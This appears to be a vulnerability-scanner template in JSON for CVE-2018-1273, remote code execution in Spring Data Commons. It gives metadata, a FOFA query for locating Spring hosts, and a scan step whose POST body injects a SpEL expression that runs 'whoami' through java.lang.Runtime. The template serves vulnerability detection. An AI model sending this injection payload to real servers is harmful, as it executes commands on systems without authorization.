{
  "Name": "Spring Data Commons RCE (CVE-2018-1273)",
  "Description": "Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data's projection-based request payload binding hat can lead to a remote code execution attack.",
  "Product": "SpringData",
  "Homepage": "https://spring.io/projects/spring-data",
  "DisclosureDate": "2018-04-11",
  "Author": "itardc@163.com",
  "GifAddress": "https://raw.githubusercontent.com/gobysec/GobyVuls/master/Spring/CVE-2018-1273/CVE-2018-1273.gif",
  "FofaQuery": "app=\"Spring\" || app=\"SpringBoot\" || app=\"Pivotal-SpringBoot\"",
  "GobyQuery": "",
  "Level": "3",
  "Impact": "",
  "Recommendation": "",
  "References": [
    "http://mail-archives.apache.org/mod_mbox/ignite-dev/201807.mbox/%3CCAK0qHnqzfzmCDFFi6c5Jok19zNkVCz5Xb4sU%3D0f2J_1i4p46zQ%40mail.gmail.com%3E",
    "https://pivotal.io/security/cve-2018-1273",
    "https://nvd.nist.gov/vuln/detail/CVE-2018-1273",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1273"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "AttackType",
      "type": "select",
      "value": "goby_shell_linux"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "username[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\")]=&password=&repeatedPassword=",
        "data_type": "text",
        "follow_redirect": true,
        "method": "POST",
        "uri": "/users"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "500",
            "variable": "$code"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": null,
  "Tags": ["rce"],
  "CVEIDs": [
    "CVE-2018-1273"
  ],
  "CVSSScore": "9.8",
  "AttackSurfaces": {
    "Application": null,
    "Support": ["SpringData"],
    "Service": null,
    "System": null,
    "Hardware": null
  }
}